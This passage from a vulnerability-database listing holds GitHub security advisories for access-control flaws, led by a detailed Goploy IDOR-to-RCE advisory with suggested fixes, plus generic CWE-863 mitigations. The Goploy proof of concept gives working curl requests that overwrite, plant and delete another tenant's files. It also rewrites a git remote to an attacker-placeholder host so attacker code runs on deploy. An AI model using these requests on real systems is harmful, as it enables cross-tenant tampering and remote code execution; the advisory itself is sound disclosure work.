Scan(&projectFile.ID, &projectFile.ProjectID, &projectFile.Filename,
&projectFile.InsertTime, &projectFile.UpdateTime)
return projectFile, err
}
internal/model/project.go: add a parallel Project.GetDataInNamespace that joins on namespace_id.
cmd/server/api/project/handler.go:
EditFileandRemoveFileswitch tomodel.ProjectFile{ID: ...}.GetDataInNamespace(gp.Namespace.ID).AddFilecalls a newmodel.Project{ID: reqData.ProjectID}.GetDataInNamespace(gp.Namespace.ID)precheck beforeos.CreateandAddRow.Editcallsmodel.Project{ID: reqData.ID}.GetDataInNamespace(gp.Namespace.ID)beforeEditRow.
sql.ErrNoRows from the namespace-scoped lookup becomes the correct denial for any cross-namespace id. The same pattern should be applied to other body-id consumers in this file (Remove, SetAutoDeploy, UploadFile, AddTask, EditProcess, etc.) but the four endpoints above are the immediately exploitable ones.
Patch
Fix proposed in https://github.com/zhenorzz/goploy-ghsa-26rh-24rg-j3vv/pull/1. The PR diff adds the namespace-scoped model variants and switches the four exposed handlers to use them.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/zhenorzz/goploy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.17.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53552"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-07T23:42:12Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\n`Project.AddFile`, `Project.EditFile`, `Project.RemoveFile`, and `Project.Edit` in `cmd/server/api/project/handler.go` accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller\u0027s namespace. The corresponding `model.ProjectFile.GetData` and `model.Project.GetData` queries filter only by row id. A user holding the `manager` role (or any role that includes the `FileSync` / `EditProject` permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project\u0027s git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because `Edit` runs `git remote set-url` on the project\u0027s working tree.\n\n### Affected\n\n`zhenorzz/goploy` `develop` HEAD as of 2026-05-27. Verified against the `zhenorzz/goploy:1.17.5` Docker image (`docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44`).\n\nThe four handlers and the model lookups have been in this shape across the file API and project metadata API.\n\n### Vulnerable code\n\n`cmd/server/api/project/handler.go::AddFile` (creates file under any project\u0027s directory; body controls `projectId`):\n\n```go\nfunc (Project) AddFile(gp *server.Goploy) server.Response {\n type ReqData struct {\n ProjectID int64 `json:\"projectId\" validate:\"required,gt=0\"`\n Content string `json:\"content\" validate:\"required\"`\n Filename string `json:\"filename\" validate:\"required\"`\n }\n var reqData ReqData\n if err := gp.Decode(\u0026reqData); err != nil { ... }\n\n filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename)\n // ... os.Create(filePath); file.WriteString(reqData.Content)\n id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow()\n}\n```\n\n`cmd/server/api/project/handler.go::EditFile` (overwrites file content; body controls file id, server derives project from the file row):\n\n```go\nfunc (Project) EditFile(gp *server.Goploy) server.Response {\n type ReqData struct {\n ID int64 `json:\"id\" validate:\"required,gt=0\"`\n Content string `json:\"content\" validate:\"required\"`\n }\n var reqData ReqData\n if err := gp.Decode(\u0026reqData); err != nil { ... }\n\n projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData()\n // ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename))\n file.WriteString(reqData.Content)\n}\n```\n\n`cmd/server/api/project/handler.go::RemoveFile` (deletes file row + on-disk file by body id):\n\n```go\nfunc (Project) RemoveFile(gp *server.Goploy) server.Response {\n type ReqData struct {\n ProjectFileID int64 `json:\"projectFileId\" validate:\"required,gt=0\"`\n }\n var reqData ReqData\n if err := gp.Decode(\u0026reqData); err != nil { ... }\n projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData()\n if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... }\n}\n```\n\n`cmd/server/api/project/handler.go::Edit` (updates any project\u0027s metadata; on URL change runs `git remote set-url` in the project working tree):\n\n```go\nfunc (Project) Edit(gp *server.Goploy) server.Response {\n // ... ReqData has ID, Name, URL, Branch, Script, etc.\n projectData, err := model.Project{ID: reqData.ID}.GetData()\n model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow()\n if reqData.URL != projectData.URL {\n srcPath := config.GetProjectPath(projectData.ID)\n cmd := exec.Command(\"git\", \"remote\", \"set-url\", \"origin\", reqData.URL)\n cmd.Dir = srcPath\n }\n}\n```\n\n`internal/model/project_file.go::ProjectFile.GetData` filters only by row id, no namespace join:\n\n```go\nfunc (pf ProjectFile) GetData() (ProjectFile, error) {\n err := sq.\n Select(\"id, project_id, filename, insert_time, update_time\").\n From(projectFileTable).\n Where(sq.Eq{\"id\": pf.ID}).\n ...\n}\n```\n\n`internal/server/route.go::Route.hasPermission` checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to `gp.Namespace.ID`:\n\n```go\nfunc (r Route) hasPermission(permissionIDs map[int64]struct{}) error {\n if len(r.permissionIDs) == 0 { return nil }\n for _, permissionID := range r.permissionIDs {\n if _, ok := permissionIDs[permissionID]; ok { return nil }\n }\n return errors.New(\"no permission\")\n}\n```\n\n### Reachable\n\nAny logged-in user assigned the `manager` role in their own namespace can call `/project/addFile`, `/project/editFile`, `/project/removeFile`, and `/project/edit`. The seeded `manager` role (`role.id = 1`) is granted both `FileSync` (`permission.id = 68`) and `EditProject` (`permission.id = 17`) by `database/goploy.sql`. Multi-tenant deployments typically assign `manager` to each tenant\u0027s project owner; once a tenant\u0027s manager holds these permissions in their own namespace, they hold them globally for these four endpoints.\n\n### Proof of concept\n\nSetup against the published Docker image:\n\n```bash\ndocker network create goploy-net\ndocker run -d --name goploy-mysql --network goploy-net \\\n -e MYSQL_ROOT_PASSWORD=goploy123 -e MYSQL_DATABASE=goploy \\\n mysql:8.0 --default-authentication-plugin=mysql_native_password\n\n# Wait for MySQL, then load schema\ndocker cp database/goploy.sql goploy-mysql:/tmp/goploy.sql\ndocker exec goploy-mysql sh -c \u0027mysql -uroot -pgoploy123 goploy \u003c /tmp/goploy.sql\u0027\n\n# Mount goploy.toml pointing DB at goploy-mysql:3306\ndocker run -d --name goploy-app --network goploy-net -p 18080:80 \\\n -v $PWD/repo:/opt/goploy/repository \\\n zhenorzz/goploy:1.17.5\n```\n\nSet up two namespaces and two non-super-manager users, each assigned `manager` (role_id=1) only in their own namespace:\n\n```bash\n# Admin login (default account admin / admin!@# requires first-login change)\ncurl -s -c /tmp/admin.jar -X POST http://localhost:18080/user/login \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"account\":\"admin\",\"password\":\"admin!@#\",\"newPassword\":\"Admin!@#2026\"}\u0027\n\nADMIN_HDR=\u0027-b /tmp/admin.jar -H G-N-ID:1 -H Content-Type:application/json\u0027\n\n# Create NS_B\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/add -d \u0027{\"name\":\"ns_b\"}\u0027\n# \u2192 {\"data\":{\"id\":2}}\n\n# Create alice (id=2) and bob (id=3)\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \\\n -d \u0027{\"account\":\"alice\",\"password\":\"Alice!@#2026\",\"name\":\"Alice\",\"contact\":\"\",\"superManager\":0}\u0027\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \\\n -d \u0027{\"account\":\"bob\",\"password\":\"Bob!@#2026\",\"name\":\"Bob\",\"contact\":\"\",\"superManager\":0}\u0027\n\n# Assign alice \u2192 NS_A (id=1), bob \u2192 NS_B (id=2), both as manager (role_id=1)\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \\\n -d \u0027{\"namespaceId\":1,\"userIds\":[2],\"roleId\":1}\u0027\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \\\n -d \u0027{\"namespaceId\":2,\"userIds\":[3],\"roleId\":1}\u0027\n\n# As admin in NS_A, create project alice-prod (id=1) with file alice-secrets.yml (id=1)\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/project/add \\\n -d \u0027{\"name\":\"alice-prod\",\"repoType\":\"git\",\"url\":\"https://github.com/zhenorzz/goploy.git\",\n \"path\":\"/tmp/deploy/alice\",\"environment\":1,\"branch\":\"master\",\"transferType\":\"rsync\",\n \"transferOption\":\"-rtv\",\"deployServerMode\":\"serial\",\n \"script\":{\"afterPull\":{\"mode\":\"\",\"content\":\"\"},\"afterDeploy\":{\"mode\":\"\",\"content\":\"\"},\n \"deployFinish\":{\"mode\":\"\",\"content\":\"\"}}}\u0027\ncurl -s $ADMIN_HDR -X POST http://localhost:18080/project/addFile \\\n -d \u0027{\"projectId\":1,\"filename\":\"alice-secrets.yml\",\"content\":\"# Alice secret\\napi_key: ALICE_API_KEY_2026\\n\"}\u0027\n\n# Bob logs in (first-login change)\ncurl -s -c /tmp/bob.jar -X POST http://localhost:18080/user/login \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"account\":\"bob\",\"password\":\"Bob!@#2026\",\"newPassword\":\"BobBob!@#2026\"}\u0027\n\nBOB_HDR=\u0027-b /tmp/bob.jar -H G-N-ID:2 -H Content-Type:application/json\u0027\n```\n\nNegative control: Bob\u0027s own namespace has no projects.\n\n```bash\ncurl -s $BOB_HDR \"http://localhost:18080/project/getList?page=1\u0026rows=100\"\n# \u2192 {\"code\":0,\"data\":{\"list\":[]}}\n```\n\nExploit 1 \u2014 Bob overwrites Alice\u0027s file content:\n\n```bash\ncurl -s $BOB_HDR -X PUT http://localhost:18080/project/editFile \\\n -d \u0027{\"id\":1,\"content\":\"OWNED BY BOB\\nattacker_namespace: ns_b\\n\"}\u0027\n# \u2192 {\"code\":0,\"message\":\"\",\"data\":null}\n\ndocker exec goploy-app cat /opt/goploy/repository/repository/project-file/project_1/alice-secrets.yml\n# OWNED BY BOB\n# attacker_namespace: ns_b\n```\n\nExploit 2 \u2014 Bob plants a new file in Alice\u0027s project directory:\n\n```bash\ncurl -s $BOB_HDR -X POST http://localhost:18080/project/addFile \\\n -d \u0027{\"projectId\":1,\"filename\":\".env.attacker\",\"content\":\"PWN=bob_from_ns_b\"}\u0027\n# \u2192 {\"code\":0,\"message\":\"\",\"data\":{\"id\":2}}\n\ndocker exec goploy-app ls /opt/goploy/repository/repository/project-file/project_1/\n# .env.attacker alice-secrets.yml\n```\n\nExploit 3 \u2014 Bob deletes Alice\u0027s file:\n\n```bash\ncurl -s $BOB_HDR -X DELETE http://localhost:18080/project/removeFile \\\n -d \u0027{\"projectFileId\":1}\u0027\n# \u2192 {\"code\":0,\"message\":\"\",\"data\":null}\n# alice-secrets.yml is gone from project_1/.\n```\n\nExploit 4 \u2014 Bob rewrites Alice\u0027s project git remote URL. On the next deploy, goploy runs `git -C \u003calice-prod-tree\u003e remote set-url origin \u003cattacker-url\u003e` and clones / pulls attacker code, leading to RCE under goploy\u0027s user:\n\n```bash\ncurl -s $BOB_HDR -X PUT http://localhost:18080/project/edit \\\n -d \u0027{\"id\":1,\"name\":\"alice-prod\",\"repoType\":\"git\",\n \"url\":\"git@evil.example.com:attacker/payload.git\",\n \"path\":\"/tmp/deploy/alice\",\"environment\":1,\"branch\":\"master\",\n \"transferType\":\"rsync\",\"transferOption\":\"-rtv\",\"deployServerMode\":\"serial\",\n \"script\":{\"afterPull\":{\"mode\":\"\",\"content\":\"\"},\"afterDeploy\":{\"mode\":\"\",\"content\":\"\"},\n \"deployFinish\":{\"mode\":\"\",\"content\":\"\"}}}\u0027\n# \u2192 {\"code\":0,\"message\":\"\",\"data\":null}\n\ndocker exec goploy-mysql mysql -uroot -pgoploy123 goploy \\\n -e \"SELECT name,url FROM project WHERE id=1;\"\n# alice-prod | git@evil.example.com:attacker/payload.git\n```\n\nPositive control: Bob editing a file in his own namespace (after creating one) goes through the same code path and succeeds normally \u2014 the patch must keep that working.\n\n### Suggested fix\n\nAdd a namespace-scoped variant of `GetData` so the model layer requires `(id, namespace_id)` and switch the four handlers over.\n\n`internal/model/project_file.go`:\n\n```go\nfunc (pf ProjectFile) GetDataInNamespace(namespaceID int64) (ProjectFile, error) {\n var projectFile ProjectFile\n err := sq.\n Select(\"pf.id, pf.project_id, pf.filename, pf.insert_time, pf.update_time\").\n From(projectFileTable + \" pf\").\n Join(\"project p ON p.id = pf.project_id\").\n Where(sq.Eq{\"pf.id\": pf.ID, \"p.namespace_id\": namespaceID}).\n RunWith(DB).\n QueryRow().\n Scan(\u0026projectFile.ID, \u0026projectFile.ProjectID, \u0026projectFile.Filename,\n \u0026projectFile.InsertTime, \u0026projectFile.UpdateTime)\n return projectFile, err\n}\n```\n\n`internal/model/project.go`: add a parallel `Project.GetDataInNamespace` that joins on `namespace_id`.\n\n`cmd/server/api/project/handler.go`:\n\n- `EditFile` and `RemoveFile` switch to `model.ProjectFile{ID: ...}.GetDataInNamespace(gp.Namespace.ID)`.\n- `AddFile` calls a new `model.Project{ID: reqData.ProjectID}.GetDataInNamespace(gp.Namespace.ID)` precheck before `os.Create` and `AddRow`.\n- `Edit` calls `model.Project{ID: reqData.ID}.GetDataInNamespace(gp.Namespace.ID)` before `EditRow`.\n\n`sql.ErrNoRows` from the namespace-scoped lookup becomes the correct denial for any cross-namespace id. The same pattern should be applied to other body-id consumers in this file (`Remove`, `SetAutoDeploy`, `UploadFile`, `AddTask`, `EditProcess`, etc.) but the four endpoints above are the immediately exploitable ones.\n\n### Patch\n\nFix proposed in https://github.com/zhenorzz/goploy-ghsa-26rh-24rg-j3vv/pull/1. The PR diff adds the namespace-scoped model variants and switches the four exposed handlers to use them.\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-26rh-24rg-j3vv",
"modified": "2026-07-07T23:42:12Z",
"published": "2026-07-07T23:42:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zhenorzz/goploy/security/advisories/GHSA-26rh-24rg-j3vv"
},
{
"type": "PACKAGE",
"url": "https://github.com/zhenorzz/goploy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Goploy: Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers"
}
GHSA-26W3-Q4J8-4XJP
Vulnerability from github – Published: 2024-03-06 15:29 – Updated: 2025-02-11 19:03Impact
The steps are as follows:
-
Access https://IP:PORT/ in the browser, which prompts the user to access with a secure entry point.
-
Use Burp to intercept:
When opening the browser and entering the URL (allowing the first intercepted packet through Burp), the following is displayed:
It is found that in this situation, we can access the console page (although no data is returned and no modification operations can be performed)."
Affected versions: <= 1.10.0-lts
Patches
The vulnerability has been fixed in v1.10.1-lts.
Workarounds
It is recommended to upgrade the version to 1.10.1-lts.
References
If you have any questions or comments about this advisory:
Open an issue in https://github.com/1Panel-dev/1Panel Email us at wanghe@fit2cloud.com
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.10.0-lts"
},
"package": {
"ecosystem": "Go",
"name": "github.com/1Panel-dev/1Panel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.10.1-lts"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-27288"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-06T15:29:11Z",
"nvd_published_at": "2024-03-06T19:15:07Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe steps are as follows:\n\n1. Access https://IP:PORT/ in the browser, which prompts the user to access with a secure entry point.\n\n\n2. Use Burp to intercept:\n\n\nWhen opening the browser and entering the URL (allowing the first intercepted packet through Burp), the following is displayed:\n\n\nIt is found that in this situation, we can access the console page (although no data is returned and no modification operations can be performed).\"\n\nAffected versions: \u003c= 1.10.0-lts\n\n### Patches\n\nThe vulnerability has been fixed in v1.10.1-lts.\n\n### Workarounds\n\nIt is recommended to upgrade the version to 1.10.1-lts.\n\n### References\n\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/1Panel-dev/1Panel\nEmail us at wanghe@fit2cloud.com",
"id": "GHSA-26w3-q4j8-4xjp",
"modified": "2025-02-11T19:03:36Z",
"published": "2024-03-06T15:29:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-26w3-q4j8-4xjp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27288"
},
{
"type": "WEB",
"url": "https://github.com/1Panel-dev/1Panel/pull/4014"
},
{
"type": "PACKAGE",
"url": "https://github.com/1Panel-dev/1Panel"
},
{
"type": "WEB",
"url": "https://github.com/1Panel-dev/1Panel/releases/tag/v1.10.1-lts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "1Panel open source panel project has an unauthorized vulnerability."
}
GHSA-26WJ-J8FV-R797
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-05-24 17:42Improper access control in the firmware for the Intel(R) Ethernet I210 Controller series of network adapters before version 3.30 may potentially allow a privileged user to enable a denial of service via local access.
{
"affected": [],
"aliases": [
"CVE-2020-0523"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-17T14:15:00Z",
"severity": "MODERATE"
},
"details": "Improper access control in the firmware for the Intel(R) Ethernet I210 Controller series of network adapters before version 3.30 may potentially allow a privileged user to enable a denial of service via local access.",
"id": "GHSA-26wj-j8fv-r797",
"modified": "2022-05-24T17:42:24Z",
"published": "2022-05-24T17:42:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-0523"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00318.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-26WM-7R96-7PHX
Vulnerability from github – Published: 2025-01-30 12:31 – Updated: 2025-01-30 12:31an Improper Access Control vulnerability has been found in EmbedAI 2.1 and below. This vulnerability allows an authenticated attacker change his subscription plan without paying by making a POST request changing the parameters of the "/demos/embedai/pmt_cash_on_delivery/pay" endpoint.
{
"affected": [],
"aliases": [
"CVE-2025-0744"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-30T12:15:27Z",
"severity": "HIGH"
},
"details": "an Improper Access Control vulnerability has been found in EmbedAI 2.1 and below. This vulnerability allows an authenticated attacker change his subscription plan without paying by making a POST request changing the parameters of the \"/demos/embedai/pmt_cash_on_delivery/pay\" endpoint.",
"id": "GHSA-26wm-7r96-7phx",
"modified": "2025-01-30T12:31:20Z",
"published": "2025-01-30T12:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0744"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-embedai"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-276V-XM73-5P9C
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-07-13 00:01SAP NetWeaver AS ABAP, versions - KRNL32NUC - 7.22,7.22EXT, KRNL32UC - 7.22,7.22EXT, KRNL64NUC - 7.22,7.22EXT,7.49, KRNL64UC - 8.04,7.22,7.22EXT,7.49,7.53,7.73, KERNEL - 7.22,8.04,7.49,7.53,7.73,7.77,7.81,7.82,7.83,7.84, allows an unauthorized attacker to insert cleartext commands due to improper restriction of I/O buffering into encrypted SMTP sessions over the network which can partially impact the integrity of the application.
{
"affected": [],
"aliases": [
"CVE-2021-33663"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-09T14:15:00Z",
"severity": "MODERATE"
},
"details": "SAP NetWeaver AS ABAP, versions - KRNL32NUC - 7.22,7.22EXT, KRNL32UC - 7.22,7.22EXT, KRNL64NUC - 7.22,7.22EXT,7.49, KRNL64UC - 8.04,7.22,7.22EXT,7.49,7.53,7.73, KERNEL - 7.22,8.04,7.49,7.53,7.73,7.77,7.81,7.82,7.83,7.84, allows an unauthorized attacker to insert cleartext commands due to improper restriction of I/O buffering into encrypted SMTP sessions over the network which can partially impact the integrity of the application.",
"id": "GHSA-276v-xm73-5p9c",
"modified": "2022-07-13T00:01:25Z",
"published": "2022-05-24T19:04:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33663"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/3030604"
},
{
"type": "WEB",
"url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=578125999"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2776-H8X3-VRR7
Vulnerability from github – Published: 2025-01-07 18:30 – Updated: 2025-11-04 00:32The WebChannel API, which is used to transport various information across processes, did not check the sending principal but rather accepted the principal being sent. This could have led to privilege escalation attacks. This vulnerability affects Firefox < 134 and Firefox ESR < 128.6.
{
"affected": [],
"aliases": [
"CVE-2025-0237"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-07T16:15:38Z",
"severity": "MODERATE"
},
"details": "The WebChannel API, which is used to transport various information across processes, did not check the sending principal but rather accepted the principal being sent. This could have led to privilege escalation attacks. This vulnerability affects Firefox \u003c 134 and Firefox ESR \u003c 128.6.",
"id": "GHSA-2776-h8x3-vrr7",
"modified": "2025-11-04T00:32:15Z",
"published": "2025-01-07T18:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0237"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1915257"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00004.html"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-01"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-02"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-04"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-05"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.